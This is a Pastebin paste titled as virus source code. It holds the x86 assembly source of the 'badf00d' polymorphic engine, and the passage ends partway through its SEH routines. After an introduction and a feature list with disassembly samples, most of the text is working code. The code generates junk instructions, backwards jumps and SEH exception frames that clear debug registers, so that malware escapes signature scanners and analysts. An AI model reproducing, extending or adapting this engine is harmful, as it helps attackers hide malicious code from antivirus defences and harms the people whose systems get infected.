API tools faq
paste
Advertisement
FlyFar

Virus.Win32.badf00d - Source Code

FlyFar
Jun 20th, 2023
1,115
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 24.43 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. comment $
  2.  
  3.  
  4.                \`.  |\
  5.               \`-. \ `.| \!,,
  6.              \ \  `.\  _   (__
  7.          _ `-.> \ ___   \    __                  ------------------------------------------    
  8.           `-/,o-./O  `.      ._`                 Badf00d Polymorphic Engine
  9.           -//   j_    |   `` _<`                     ------------------------------------------
  10.            |\__(  \--'      '  \     .             by Piotr Bania <bania.piotr@gmail.com>
  11.            >   _    `--'      _/     ;                      http://pb.specialised.info
  12.           |  / `----..   . /       (
  13.           | (         `.  Y         )
  14.            \ \     ,-.-.| |_       (_
  15.             `.`.___\  \ \/=.`.     __)              a little bit of this,
  16.               `--,==\    )==\,\   (_                                     a little bit of that
  17.                ,'\===`--'====\,\    `-.
  18.              ,'.` ============\,\  (`-'
  19.             /`=.`Y=============\,\ .'
  20.             /`-. `|==============\_,-._
  21.            /`-._`=|=___=========,'^, c-)
  22.           \`-----+' ._)=====_(_`-' ^-'`-.
  23.        -----`=====, \  `.-==(^_ ^c_,.^ `^_\-----
  24.                  (__/`--'('(_,-._)-._,-.,__)`)  hjw
  25.                           `-._`._______.'_.-'
  26.                               `---------'
  27.  
  28.  
  29.  
  30.    
  31.  Disclaimer__________________________________________________________________________________]
  32.  
  33.     Author takes no responsibility for any actions with provided informations or codes.
  34.     The copyright for any material created by the author is reserved. Any duplication of
  35.     codes or texts provided here in electronic or printed publications is not permitted
  36.     without the author's agreement. If you disagree - leave now!  
  37.  
  38.  
  39.  
  40.   Introduction________________________________________________________________________________]
  41.  
  42.     I must confess i was pretty bored and that's why i have written this engine. Meanwhile
  43.     i was also thinking about some PE encrypter, so sooner or later i got to produce some
  44.     poly engine for it. This little thingie was written in 2 days (few hours each day).
  45.     Current version is super beta, drop me an mail if you will find any errors.
  46.  
  47.  
  48.  
  49.  Features____________________________________________________________________________________]
  50.  
  51.     + SEH frames generator (int3/sti/cli exceptions, BPM removers (dr0-3 cleaners), random
  52.       registry usage, random size of garbage block (return address is calculated via size
  53.       of the generated junks), generated SEH block looks like this:
  54.  
  55.  
  56.       * SNIP *
  57.         00402814   E8 3D000000      CALL pol.00402856
  58.         00402819   8BD4             MOV EDX,ESP         ; generated REG
  59.         0040281B   81C2 0C000000    ADD EDX,0C         
  60.         00402821   8B12             MOV EDX,DWORD PTR DS:[EDX]  
  61.         00402823   C782 04000000 00>MOV DWORD PTR DS:[EDX+4],0  
  62.         0040282D   C782 08000000 00>MOV DWORD PTR DS:[EDX+8],0  
  63.         00402837   C782 12000000 00>MOV DWORD PTR DS:[EDX+12],0
  64.         00402841   C782 16000000 00>MOV DWORD PTR DS:[EDX+16],0
  65.         0040284B   8182 B8000000 05>ADD DWORD PTR DS:[EDX+B8],5 ; calcs return addr
  66.         00402855   C3               RETN
  67.         00402856   33C9             XOR ECX,ECX
  68.         00402858   64:FF31          PUSH DWORD PTR FS:[ECX]
  69.         0040285B   64:8921          MOV DWORD PTR FS:[ECX],ESP
  70.         0040285E   CC               INT3
  71.         0040285F   AF               SCAS DWORD PTR ES:[EDI]
  72.         00402860   C8 50C933        ENTER 0C950,33
  73.         00402864   C0648F 00 5A     SHL BYTE PTR DS:[EDI+ECX*4],5A
  74.       * SNIP *
  75.  
  76.       As you can see doing only regswaping is not a good solution (still signature can be
  77.       generated - look RegSwap virus description), prolly it is better to mix randomly SEH
  78.       instructions with garbage. Use your imagination.
  79.  
  80.  
  81.     + safe garbage generator (generates stepable garbage code, moreover user can specyfi
  82.       what registers should be used and what should be not, this feature gives an
  83.       advantage to mix original code together with garbage code, without destroying the
  84.          values from orginal one), like this snipet shows:
  85.  
  86.  
  87.       * SNIP - ALL REGS ALLOWED *
  88.         00402814   F7D2             NOT EDX
  89.         00402816   D1D3             RCL EBX,1
  90.         00402818   9B               WAIT
  91.         00402819   9B               WAIT
  92.         0040281A   D1F9             SAR ECX,1
  93.         0040281C   93               XCHG EAX,EBX
  94.         0040281D   81C3 B9B1F0A8    ADD EBX,A8F0B1B9
  95.         00402823   F9               STC
  96.         00402824   81EF 73D13C4E    SUB EDI,4E3CD173
  97.         0040282A   3BC7             CMP EAX,EDI
  98.         0040282C   FD               STD
  99.         0040282D   2BC6             SUB EAX,ESI
  100.         0040282F   57               PUSH EDI
  101.         00402830   81C9 6FA7215F    OR ECX,5F21A76F
  102.         00402836   33F3             XOR ESI,EBX
  103.         00402838   F7D8             NEG EAX
  104.         0040283A   1BCE             SBB ECX,ESI
  105.       * SNIP - ALL REGS ALLOWED *
  106.  
  107.  
  108.       * SNIP - ALLOWED EAX/EBX *
  109.         00402814   F7DB             NEG EBX
  110.         00402816   F7D0             NOT EAX
  111.         00402818   85C3             TEST EBX,EAX
  112.         0040281A   F8               CLC
  113.         0040281B   90               NOP
  114.         0040281C   C7C3 BB153882    MOV EBX,823815BB
  115.         00402822   F7D8             NEG EAX
  116.         00402824   09DB             OR EBX,EBX
  117.         00402826   D1D3             RCL EBX,1
  118.         00402828   D1D8             RCR EAX,1
  119.         0040282A   EB 00            JMP SHORT pol.0040282C
  120.         0040282C   81EB 011DAF21    SUB EBX,21AF1D01
  121.         00402832   81E8 3BB25C3B    SUB EAX,3B5CB23B
  122.         00402838   F8               CLC
  123.       * SNIP - ALLOWED EAX/EBX *
  124.  
  125.  
  126.        + hardcore garbage generator (generates jmp over_garbage and generates garbage stepable
  127.       or totaly randomized - this one will be never executed), like here:
  128.  
  129.  
  130.       * SNIP - SOME GARBAGE CODE *
  131.         00402810   EB 14            JMP SHORT pol.00402826
  132.         00402812   CB               RETF                                    
  133.         00402813   69A0 1C1E85D1 F9>IMUL ESP,DWORD PTR DS:[EAX+D1851E1C],886>
  134.         0040281D   F2:              PREFIX REPNE:                            
  135.         0040281E   4B               DEC EBX
  136.         0040281F   85FF             TEST EDI,EDI
  137.         00402821   198A 797CF6EB    SBB DWORD PTR DS:[EDX+EBF67C79],ECX
  138.         00402827   0C C8            OR AL,0C8
  139.       * SNIP - SOME GARBAGE CODE *
  140.  
  141.  
  142.        + backwards jumps generator (generates some funny jumps :))
  143.    
  144.       * SNIP *
  145.         0040280C   EB 3A            JMP SHORT pol.00402848
  146.         0040280E   33FE             XOR EDI,ESI
  147.         00402810   EB 3B            JMP SHORT pol.0040284D
  148.         00402812   AE               SCAS BYTE PTR ES:[EDI]
  149.         00402813  ^73 C8            JNB SHORT pol.004027DD
  150.         00402815   71 13            JNO SHORT pol.0040282A
  151.         00402817   90               NOP
  152.         00402818   5E               POP ESI
  153.         00402819   C2 AFE0          RETN 0E0AF
  154.         0040281C   BB 8406103D      MOV EBX,3D100684
  155.         00402821   60               PUSHAD
  156.         00402822   E5 77            IN EAX,77                              
  157.         00402824   2AC4             SUB AL,AH
  158.         00402826   59               POP ECX
  159.         00402827   3E:5C            POP ESP                                  
  160.         00402829   0E               PUSH CS
  161.         0040282A   67:73 7A         JNB SHORT pol.004028A7                  
  162.         0040282D   AF               SCAS DWORD PTR ES:[EDI]
  163.         0040282E   27               DAA
  164.         0040282F   0880 3B2E3EF3    OR BYTE PTR DS:[EAX+F33E2E3B],AL
  165.         00402835   5D               POP EBP
  166.         00402836   52               PUSH EDX
  167.         00402837   D9FB             FSINCOS
  168.         00402839  ^E1 BD            LOOPDE SHORT pol.004027F8
  169.         0040283B   4E               DEC ESI
  170.         0040283C   53               PUSH EBX
  171.         0040283D   4D               DEC EBP
  172.         0040283E   62D6             BOUND EDX,ESI                            
  173.         00402840   A7               CMPS DWORD PTR DS:[ESI],DWORD PTR ES:[ED>
  174.         00402841   FF49 8C          DEC DWORD PTR DS:[ECX-74]
  175.         00402844   07               POP ES                                  
  176.         00402845   56               PUSH ESI
  177.         00402846   7A 15            JPE SHORT pol.0040285D
  178.         00402848   9B               WAIT
  179.         00402849  ^EB C5            JMP SHORT pol.00402810
  180.         0040284B   6E               OUTS DX,BYTE PTR ES:[EDI]              
  181.         0040284C   45               INC EBP
  182.       * SNIP *
  183.  
  184.  
  185.  TODO________________________________________________________________________________________]
  186.  
  187.     + code some multiple decryption routines (xlat/xor/etc. etc - backwards/forwards)
  188.     + add some checksum checker routines
  189.     + code new engine :))
  190.  
  191.  
  192.  Sample_usage________________________________________________________________________________]
  193.  
  194.     * SNIP *
  195.             call    random_setup            ; set seed
  196.             mov ecx,30              ; loop counter
  197.             lea edi,temp_buff           ; EDI = where to store
  198.     gen_it:        
  199.             mov eax,3
  200.             call    random_eax          ; give random
  201.             cmp eax,0
  202.             je  skip_jmp
  203.  
  204.             cmp eax,1
  205.             je  skip_sehs
  206.  
  207.             call    t_normalize_pops        ; normalize stack before SEHs
  208.             add edi,eax
  209.  
  210.             call    gen_seh             ; generate SEHs
  211.             add edi,eax             ; add edi,generated_code_size
  212.     skip_sehs:
  213.             call    gen_bjumps          ; generate backwards jumps
  214.             add edi,eax             ; add edi,generated_code_size
  215.     skip_jmp:
  216.             mov eax,2
  217.             call    random_eax          ; give random
  218.             test    eax,eax
  219.             jnz gen_it2
  220.  
  221.             call    gen_garbage_i           ; generate some stepable junk
  222.             jmp loopers            
  223.  
  224.     gen_it2:   
  225.             call    hardcode_garbage_i      ; generate some hard junks
  226.  
  227.     loopers:
  228.             add edi,eax             ; add edi,generated_code_size
  229.             loop    gen_it
  230.  
  231.  
  232.             call    t_normalize_pops        ; normalize stack if it wasn't
  233.             add edi,eax                     ; normalized
  234.     * SNIP *
  235.  
  236.  
  237.  
  238.     Have phun,
  239.     Piotr Bania
  240.  
  241.  
  242.  
  243.  
  244. $
  245.  
  246.  
  247. M0_EAX          equ 0
  248. M0_ECX          equ 1
  249. M0_EDX          equ 2
  250. M0_EBX          equ 3
  251. M0_ESI          equ 4
  252. M0_EDI          equ 5
  253.  
  254. M1_EAX          equ 0
  255. M1_ECX          equ 1
  256. M1_EDX          equ 2
  257. M1_EBX          equ 3
  258. M1_ESI          equ 6
  259. M1_EDI          equ 7
  260.  
  261.  
  262. M2_EAX          equ 0 shl 3
  263. M2_ECX          equ 1 shl 3
  264. M2_EDX          equ 2 shl 3
  265. M2_EBX          equ 3 shl 3
  266. M2_ESI          equ 6 shl 3
  267. M2_EDI          equ 7 shl 3
  268.  
  269. ; -------------- MAIN REGISTERS TABLES ----------------------------------------
  270.  
  271. x1_table:       db  M1_EAX
  272.             db  M1_ECX
  273.             db  M1_EDX
  274.             db  M1_EBX
  275.             db  M1_ESI
  276.             db  M1_EDI
  277. x1_tbl_size     =   $ - offset x1_table
  278.  
  279. x2_table:       db  M2_EAX
  280.             db  M2_ECX
  281.             db  M2_EDX
  282.             db  M2_EBX
  283.             db  M2_ESI
  284.             db  M2_EDI
  285. x2_tbl_size     =   $ - offset x2_table
  286.  
  287.  
  288. ; -------------- INSTRUCTION TABLES -------------------------------------------
  289. ; FORMAT:       (1 BYTE)  (BYTE)   (BYTE)  (BYTE)
  290. ;       <OPCODE>  <MODRM>  <LEN>   <CSET>
  291. ;
  292. ; if there is no MODRM, MODRM must be set to 2Dh (temp)
  293.  
  294. NO_M        equ 02dh
  295. C_NONE      equ 0
  296. C_SRC       equ 1
  297. C_DST       equ 2
  298. C_BOTH      equ 3
  299.  
  300.  
  301.  
  302. allowed_regs:   db  M0_EAX, M0_ECX, M0_EDX, M0_EBX, M0_ESI, M0_EDI
  303. instr_table:    db  0f9h, NO_M, 1h, C_NONE          ; stc
  304.         db  0EBh, NO_M, 2h, C_NONE          ; jmp $+1
  305.         db      0c7h, 0c0h, 6h, C_SRC           ; mov reg(EAX),NUM
  306.         db  08bh, 0c0h, 2h, C_BOTH          ; mov reg(EAX),reg(EAX)
  307.         db  081h, 0c0h, 6h, C_SRC           ; add reg(EAX),NUM
  308.         db  003h, 0c0h, 2h, C_BOTH          ; add reg(EAX),reg(EAX)
  309.         db  081h, 0e8h, 6h, C_SRC           ; sub reg(EAX),NUM
  310.         db  02bh, 0c0h, 2h, C_BOTH          ; sub reg(EAX),reg(EAX)
  311.         db  040h, NO_M, 1h, C_SRC           ; inc reg(EAX)
  312.         db  048h, NO_M, 1h, C_SRC           ; dec reg(EAX)
  313. _i_xor_r    db  033h, 0c0h, 2h, C_BOTH          ; xor reg(EAX),reg(EAX)
  314.         db  009h, 0c0h, 2h, C_BOTH          ; or reg(EAX),reg(EAX)
  315.         db  081h, 0c8h, 6h, C_SRC           ; or reg(EAX),NUM
  316.         db  03bh, 0c0h, 2h, C_BOTH
  317.         db  085h, 0c0h, 2h, C_BOTH
  318.         db  01bh, 0c0h, 2h, C_BOTH          ; sbb reg(EAX),reg(EAX)
  319.         db  011h, 0c0h, 2h, C_BOTH          ; adc reg(EAX),reg(EAX)
  320.         db  0f7h, 0d0h, 2h, C_SRC           ; not reg(EAX)
  321.         db  0f7h, 0d8h, 2h, C_SRC           ; neg reg(EAX)
  322.         db  0d1h, 0f8h, 2h, C_SRC           ; sar reg(EAX),1
  323.         db  0d1h, 0d8h, 2h, C_SRC           ; rcr reg(EAX),1
  324.         db  0d1h, 0d0h, 2h, C_SRC           ; rcl reg(EAX),1       
  325.         db  091h, NO_M, 1h, C_SRC           ; xchg reg(EAX),reg(ECX)
  326.         db  090h, NO_M, 1h, C_NONE          ; nop
  327.         db  0fch, NO_M, 1h, C_NONE          ; cld
  328.         db  0f8h, NO_M, 1h, C_NONE          ; clc
  329.         db  0fdh, NO_M, 1h, C_NONE          ; std
  330.         db  09bh, NO_M, 1h, C_NONE          ; wait     
  331.         db  050h, NO_M, 1h, C_SRC           ; push reg(eax)
  332. _i_pop      db  058h, NO_M, 1h, C_SRC           ; pop reg(eax) (must be last one)
  333. ENTRY_TABLE_SIZE    =   4
  334. instr_table_size    =   (($-offset instr_table)/4)
  335.  
  336.         dd  0
  337. push_number dd  0
  338. do_push     db  1                   ; should we process pushs?
  339.  
  340. O_JMP       equ 0EBh
  341. O_PUSH      equ 050h
  342. O_POP       equ 058h
  343. i_jmp:      db  0EBh, NO_M, 2h              ; jmp $+1
  344.  
  345.        
  346.  
  347. ; -------------- GARBAGE GENERATOR (SAFE) ------------------------------------
  348. ; EDI = where
  349. ; ----------------------------------------------------------------------------
  350.  
  351. gen_garbage_i:
  352.  
  353.         pushad
  354. garbage_again:
  355.         mov eax,instr_table_size
  356.         call    random_eax
  357.  
  358.         lea esi,instr_table
  359.         mov ecx,ENTRY_TABLE_SIZE
  360.         mul ecx             ; eax=member from table to use
  361.         add esi,eax
  362.         jmp garbage_co
  363.  
  364. garbage_hand:   pushad
  365. garbage_co: lodsw                   ; ah = modrm value / al=opcode
  366.         cmp ah,NO_M
  367.         je  no_modrm
  368.         stosb                   ; store opcode
  369.         xor edx,edx
  370.         mov dl,ah
  371.         cmp byte ptr [esi+1],C_BOTH     ; what registers to mutate
  372.         je  p_01
  373.         cmp byte ptr [esi+1],C_SRC
  374.         jne t_01
  375.  
  376. p_01:       and dl,0F8h    
  377.         mov eax,x1_tbl_size
  378.         call    random_eax
  379.         mov al,byte ptr [allowed_regs[eax]]
  380.         mov al,byte ptr [x1_table[eax]]
  381.         or  dl,al
  382.         mov byte ptr [edi],dl
  383.  
  384. t_01:       cmp byte ptr [esi+1],C_BOTH     ; what registers to mutate
  385.         je  p_02
  386.         cmp byte ptr [esi+1],C_DST
  387.         jne finish_i
  388.  
  389. p_02:       and dl,0C7h
  390.         mov eax,x2_tbl_size
  391.         call    random_eax
  392.         mov al,byte ptr [allowed_regs[eax]]
  393.         mov al,byte ptr [x2_table[eax]]
  394.         or  dl,al               ; update modrm value
  395.         mov byte ptr [edi],dl
  396.  
  397. finish_i:   mov cl,byte ptr [esi]
  398.         sub cl,2
  399.         inc edi
  400.         cmp cl,0
  401.         jle garbage_done
  402.  
  403. store_op:   mov eax,12345678h
  404.         call    random_eax
  405.         stosb              
  406.         loop    store_op
  407.  
  408.  
  409. garbage_done:   xor eax,eax
  410.         mov al,byte ptr [esi]
  411.         mov [esp+PUSHA_STRUCT._EAX],eax
  412.         popad
  413.         ret
  414.            
  415.        
  416. ; ----------------------------------------------------
  417. ; NO MOD-RMs
  418. ; ----------------------------------------------------
  419.  
  420.  
  421. no_modrm:   xor edx,edx
  422.         mov dl,al
  423.  
  424.         cmp byte ptr [esi+1],C_NONE
  425.         je  t_none
  426.         cmp dl,O_PUSH
  427.         je  t_push
  428.         cmp dl,O_POP
  429.         je  t_pop
  430.  
  431.  
  432. go_nomodrm: mov eax,x1_tbl_size
  433.         call    random_eax
  434.         mov al,byte ptr [allowed_regs[eax]]
  435.         mov al,byte ptr [x1_table[eax]]
  436.         and dl,0F8h
  437.         or  dl,al
  438.         mov byte ptr [edi],dl
  439.         inc edi
  440.         jmp finish_i
  441.        
  442. t_none:     mov byte ptr [edi],dl
  443.         inc edi
  444.         cmp dl,O_JMP
  445.         jne     finish_i
  446.         mov byte ptr [edi],0
  447.         inc edi
  448.         jmp     finish_i       
  449.  
  450. t_push:     cmp byte ptr [do_push],1
  451.         jne garbage_again
  452.         inc dword ptr [push_number]
  453.         jmp go_nomodrm
  454.  
  455. t_pop:      cmp byte ptr [do_push],1
  456.         jne garbage_again
  457.  
  458.         cmp dword ptr [push_number],0
  459.         jle garbage_again
  460.  
  461.         dec dword ptr [push_number]
  462.         jmp     go_nomodrm
  463.  
  464.  
  465.  
  466. t_normalize_pops:
  467.  
  468.         pushad
  469.         xor ebx,ebx
  470.         mov ecx,dword ptr [push_number]
  471.         test    ecx,ecx
  472.         jz  t_opsexit
  473.        
  474.        
  475. t_givepops: lea esi,_i_pop
  476.         call    garbage_hand
  477.         add edi,eax
  478.         add ebx,eax
  479.         loop    t_givepops
  480.  
  481. t_opsexit:  mov [esp+PUSHA_STRUCT._EAX],ebx
  482.         popad
  483.         ret
  484.        
  485.        
  486. ; ---------------------------------------------------------------------------
  487. ; HARDCORE GARBAGER
  488. ; ---------------------------------------------------------------------------
  489. ; EDI = where to store
  490. ;
  491. ; This one generates code like this:
  492. ; jmp over_garbage
  493. ; <totaly random generated garbage>
  494. ; <normal garbage>
  495. ; max: up to 20 "instructions"
  496. ; ---------------------------------------------------------------------------
  497.  
  498. hardcode_garbage_i:
  499.        
  500.         pushad
  501.         mov ebx,edi
  502.         lea edi,hardcore_temp
  503.         mov eax,20         
  504.         call    random_eax
  505.         mov ecx,eax
  506.         add ecx,4
  507.  
  508. h_fill:     mov eax,2
  509.         call    random_eax
  510.         test    eax,eax
  511.         jnz h_hard
  512.         call    gen_garbage_i
  513.         jmp h_cont
  514.  
  515. h_hard:     mov eax,5
  516.         call    random_eax
  517.         mov edx,eax
  518.         inc edx
  519.         xor esi,esi
  520.  
  521. h_hard_fill:    mov eax,0FFFFh
  522.         call    random_eax
  523.         stosb
  524.         inc esi
  525.         dec edx
  526.         jnz h_hard_fill    
  527.         loop    h_fill
  528.         jmp h_done
  529.  
  530. h_cont:     add edi,eax
  531.         loop    h_fill
  532.    
  533. h_done:     lea ecx,hardcore_temp
  534.         sub edi,ecx
  535.         mov ecx,edi            
  536.                            
  537.         mov byte ptr [ebx],O_JMP
  538.         inc ebx
  539.         mov byte ptr [ebx],cl
  540.         inc ebx
  541.  
  542.         push    ecx
  543.         mov edi,ebx
  544.         lea esi,hardcore_temp
  545.         rep movsb
  546.         pop eax
  547.         add eax,2
  548.  
  549.         mov [esp+PUSHA_STRUCT._EAX],eax
  550.         popad
  551.         ret
  552.  
  553. ; -------------------------------------------------------------
  554. ; Generates backwards jumps
  555. ; -------------------------------------------------------------
  556. ; EDI = buffor
  557.  
  558. gen_bjumps:
  559.  
  560.         pushad
  561.         mov ebx,edi
  562.         mov byte ptr [jmp_flag],0
  563.         mov byte ptr [jmp_flag_b],0
  564.         mov dword ptr [count_jmp],0
  565.         mov dword ptr [where_where],0
  566.         mov dword ptr [jmp_bytes],0
  567.         mov byte ptr [do_push],0
  568.         mov byte ptr [where_losed],0
  569.  
  570.         mov byte ptr [ebx],O_JMP
  571.         mov dword ptr [where_start],ebx
  572.         add dword ptr [where_start],2
  573.         inc ebx
  574.        
  575.         xor esi,esi
  576.         add edi,2          
  577.         add dword ptr [jmp_bytes],2
  578.  
  579. gen_gar_i:  mov eax,20         
  580.         call    random_eax
  581.         mov ecx,eax
  582.         add ecx,10
  583.        
  584. gen_gar_ii: call    gen_garbage_i
  585.         add dword ptr [jmp_bytes],eax
  586.         add esi,eax
  587.         add edi,eax
  588.         cmp byte ptr [jmp_flag],1
  589.         jne gen_gari_ix
  590.         add dword ptr [count_jmp],eax
  591.         jmp gen_gari_ixx
  592.  
  593. gen_gari_ix:    push    eax
  594.         mov eax,2
  595.         call    random_eax
  596.         mov edx,eax
  597.         pop eax
  598.         cmp byte ptr [where_losed],1
  599.         je  gen_gari_ixx
  600.         add dword ptr [where_start],eax
  601.         cmp edx,1
  602.         je  gen_gari_ixx
  603.         mov byte ptr [where_losed],1       
  604.  
  605. gen_gari_ixx:   mov eax,3
  606.         call    random_eax
  607.         cmp eax,2
  608.         jne cont_gari
  609.         cmp byte ptr [jmp_flag],1
  610.         je  cont_gari
  611.         mov byte ptr [jmp_flag],1
  612.         mov byte ptr [edi],O_JMP   
  613.         inc edi
  614.         mov dword ptr [where_jmp],edi
  615.         inc edi
  616.         add esi,2
  617.  
  618. cont_gari:  loop    gen_gar_ii
  619.         mov eax,esi
  620.         mov byte ptr [ebx],al
  621.         cmp byte ptr [jmp_flag],1
  622.         je  cont_gari2
  623.         mov byte ptr [edi],O_JMP
  624.         inc edi
  625.         mov dword ptr [where_jmp],edi
  626.         inc edi
  627.  
  628. cont_gari2: mov dword ptr [where_where],edi        
  629.         add dword ptr [jmp_bytes],2
  630.         mov eax,5
  631.         call    random_eax
  632.         inc eax
  633.         mov ecx,eax
  634.  
  635. cont_gari3: call    gen_garbage_i
  636.         add dword ptr [jmp_bytes],eax
  637.         add edi,eax
  638.         add dword ptr [count_jmp],eax
  639.         loop    cont_gari3
  640.         mov byte ptr [edi],O_JMP
  641.         mov eax,edi
  642.         sub eax,dword ptr [where_start]
  643.         add eax,2
  644.         neg eax
  645.  
  646.         pushad
  647.         add edi,2
  648.         mov eax,4
  649.         call    random_eax
  650.         mov ecx,eax
  651.         test    ecx,ecx
  652.         jz  cont_gari4
  653.  
  654. place_gar:  mov eax,0FFh
  655.         call    random_eax
  656.         inc dword ptr [count_jmp]
  657.         inc dword ptr [jmp_bytes]
  658.         stosb
  659.         loop    place_gar
  660.  
  661.  
  662. cont_gari4: add dword ptr [count_jmp],2
  663.         mov eax,dword ptr [count_jmp]
  664.         mov edx,dword ptr [where_jmp]
  665.         mov byte ptr [edx],al      
  666.         popad
  667.         mov byte ptr [edi+1],al
  668.         add dword ptr [jmp_bytes],2
  669.         mov edx,dword ptr [where_where]
  670.         sub edx,dword ptr [where_jmp]
  671.         dec edx
  672.         mov ecx,edx
  673.         mov edx,dword ptr [where_jmp]
  674.         inc edx
  675.         cmp ecx,0
  676.         jle     cont_no_xor
  677.                
  678. cont_xor:   mov eax,0FFh
  679.         call    random_eax
  680.         xor byte ptr [edx],al
  681.         inc edx
  682.         loop    cont_xor
  683.  
  684. cont_no_xor:    mov byte ptr [do_push],1
  685.         mov edx,dword ptr [jmp_bytes]
  686.         mov [esp+PUSHA_STRUCT._EAX],edx
  687.         popad
  688.         ret
  689.  
  690. jmp_bytes   dd  0
  691. where_losed db  0
  692. where_where dd  0
  693. where_start dd  0
  694. count_jmp   dd  0
  695. where_jmp   dd  0
  696. jmp_flag    db  0
  697. jmp_flag_b  db  0
  698.  
  699.  
  700.  
  701.  
  702.  
  703. ; -------------------------------------------------------------
  704. ; Generates SEH frames/exceptions/etc.
  705. ; -------------------------------------------------------------
  706. ; EDI = buffor
  707.  
  708.  
  709. FS_PREFIX   equ 064h
  710. seh_push_fs db  0ffh, 030h, 2h, C_SRC
  711. seh_mov_fs  db  089h, 020h, 2h, C_SRC
  712. seh_pop_fs  db  08fh, 000h, 2h, C_SRC
  713.  
  714. _mov_reg_esp    db  08bh, 0c4h, 2h, C_DST       ; mov reg,ESP
  715. _add_reg_num    db  081h, 0c0h, 2h, C_SRC       ; add reg,NUM (we must typo NUM by hand: 4) LEN=6
  716. _mov_reg_oreg   db  08bh, 000h, 2h, C_BOTH      ; mov reg,[REG]
  717. _mov_dreg_num   db  0c7h, 080h, 2h, C_SRC       ; mov [reg+NUM],0 (add NUM by hand) LEN: A
  718. _add_dreg_num   db  081h, 080h, 2h, C_SRC
  719.  
  720. exception_table:
  721.         db  0CCh                ; int 3
  722.         db  0fah                ; cli
  723.         db  0fbh                ; sti
  724. exception_table_size    = $-offset exception_table
  725.  
  726.  
  727.  
  728.  
  729.  
  730.  
  731. gen_seh:
  732.         pushad
  733.         xor edx,edx
  734.         mov ebx,edi
  735.         mov byte ptr [edi],0E8h    
  736.         mov dword ptr [edi+1],0
  737.         add edx,5
  738.         add edi,5
  739.         push    edi
  740.         lea     esi,allowed_regs       
  741.         mov ecx,x1_tbl_size
  742.         push    esi
  743.         push    ecx
  744.         lea edi,allowed_regs_temp
  745.         rep movsb
  746.         pop ecx
  747.         pop edi
  748.  
  749.         pushad
  750.         mov eax,x1_tbl_size      
  751.         call    random_eax
  752.         cmp eax,M0_EAX
  753.         jne reg_p
  754.         inc eax          ; somehow :) EAX usage results with invalid disposition error
  755.  
  756. reg_p:      rep stosb
  757.         mov edi,[esp+PUSHA_STRUCT_SIZE]
  758.         lea esi,_mov_reg_esp           
  759.         call    garbage_hand
  760.         add dword ptr [esp+PUSHA_STRUCT._EDX],eax
  761.         add [esp+PUSHA_STRUCT_SIZE],eax
  762.         add edi,eax
  763.         lea esi,_add_reg_num
  764.         call    garbage_hand
  765.         add edi,2
  766.         mov dword ptr [edi],0Ch
  767.         add dword ptr [esp+PUSHA_STRUCT._EDX],6
  768.         add [esp+PUSHA_STRUCT_SIZE],6
  769.         add edi,4
  770.         lea esi,_mov_reg_oreg          
  771.         call    garbage_hand
  772.         add dword ptr [esp+PUSHA_STRUCT._EDX],eax
  773.         add [esp+PUSHA_STRUCT_SIZE],eax
  774.         add edi,eax
  775.         lea esi,_mov_dreg_num
  776.         call    garbage_hand
  777.         add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
  778.         add [esp+PUSHA_STRUCT_SIZE],0ah
  779.         add edi,2
  780.         mov dword ptr [edi],04h
  781.         mov dword ptr [edi+4],0h
  782.         add edi,0ah-2
  783.         lea esi,_mov_dreg_num
  784.         call    garbage_hand
  785.         add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
  786.         add [esp+PUSHA_STRUCT_SIZE],0ah
  787.         add edi,2
  788.         mov dword ptr [edi],08h
  789.         mov dword ptr [edi+4],0h
  790.         add edi,0ah-2
  791.         lea esi,_mov_dreg_num
  792.         call    garbage_hand
  793.         add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
  794.         add [esp+PUSHA_STRUCT_SIZE],0ah
  795.         add edi,2
  796.         mov dword ptr [edi],12h
  797.         mov dword ptr [edi+4],0h
  798.         add edi,0ah-2      
  799.         lea esi,_mov_dreg_num
  800.         call    garbage_hand
  801.         add dword ptr [esp+PUSHA_STRUCT._EDX],0ah
  802.         add [esp+PUSHA_STRUCT_SIZE],0ah
  803.         add edi,2
  804.         mov dword ptr [edi],16h
  805.         mov dword ptr [edi+4],0h
  806.         add edi,0ah-2      
  807.         lea esi,_add_dreg_num
  808.         call    garbage_hand
  809.         add dword ptr [esp+PUSHA_STRUCT._EDX],0ah+1
  810.         add [esp+PUSHA_STRUCT_SIZE],0ah+1
  811.         add edi,2
  812.         mov dword ptr [edi],0b8h
  813.         add edi,4
  814.         mov dword ptr [where_over],edi
  815.         add edi,0ah-6
  816.         mov byte ptr [edi],0C3h     ; ret
  817.         inc edi
  818.         popad
  819.         mov byte ptr [ebx+1],dl    
  820.         sub byte ptr [ebx+1],5
  821.         mov eax,x1_tbl_size        
  822.         call    random_eax
  823.         rep stosb
  824.         pop edi
  825.         lea esi,_i_xor_r           
  826.         call    garbage_hand
  827.         add edi,eax
  828.         add edx,eax
  829.         mov byte ptr [edi],FS_PREFIX
  830.         inc edi
  831.         inc edx
  832.         lea esi,seh_push_fs
  833.         call    garbage_hand           
  834.         add edi,eax
  835.         add edx,eax
  836.         mov byte ptr [edi],FS_PREFIX   
  837.         inc edi
  838.         inc edx
  839.         lea esi,seh_mov_fs
  840.         call    garbage_hand
  841.         add edi,eax
  842.         add edx,eax
  843.         call    reset_regs
  844.         xor ebx,ebx
  845.         mov eax,exception_table_size
  846.         call    random_eax
  847.         mov cl,byte ptr exception_table[eax]
  848.         mov byte ptr [edi],cl
  849.         inc edx
  850.         inc edi
  851.         inc ebx
  852.         call    fill_trash
  853.         add edx,eax    
  854.         add ebx,eax
  855.         add edi,eax
  856.         push    edi
  857.         mov edi,dword ptr [where_over]
  858.         mov dword ptr [edi],ebx
  859.         pop edi
  860.         call    finalize_seh
  861.         add edx,eax
  862.         mov [esp+PUSHA_STRUCT._EAX],edx
  863.         popad
  864.         ret
  865.  
  866.  
  867.  
  868. where_over      dd  0
  869. allowed_regs_temp   db  x1_tbl_size dup (0)
  870.  
  871.  
  872.  
  873.  
  874. finalize_seh:
  875.         pushad
  876.         call    gen_regs
  877.         xor edx,edx
  878.         lea esi,_i_xor_r           
  879.         call    garbage_hand
  880.         add edi,eax
  881.         add edx,eax
  882.         mov byte ptr [edi],FS_PREFIX
  883.         inc edi
  884.         inc edx
  885.         lea esi,seh_pop_fs
  886.         call    garbage_hand           
  887.         add edi,eax
  888.         add edx,eax
  889.         call    reset_regs
  890.         inc dword ptr [push_number]
